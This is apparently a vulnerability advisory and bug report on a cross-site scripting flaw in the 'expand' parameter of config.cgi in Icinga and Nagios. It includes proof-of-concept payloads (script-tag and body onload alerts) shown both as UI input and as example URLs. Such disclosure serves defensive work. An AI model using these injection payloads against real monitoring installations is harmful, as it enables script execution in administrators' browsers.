Multiple cross-site scripting (XSS) vulnerabilities in config.c in config.cgi in Icinga before 1.4.1, when escapehtmltags is disabled, allow remote attackers to inject arbitrary web script or HTML via a JavaScript expression, as demonstrated by the onload attribute of a BODY element located after a check-host-alive! sequence, a different vulnerability than CVE-2011-2179.
It was reported [1],[2] that an XSS vulnerability exists in Nagios when viewing the configuration and using command expansion, as there is no input validation for "expand" in config.c(gi):
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script> View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script> [^] http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body [^] onload=alert(666)>
[1] http://tracker.nagios.org/view.php?id=224 [2] http://seclists.org/bugtraq/2011/Jun/17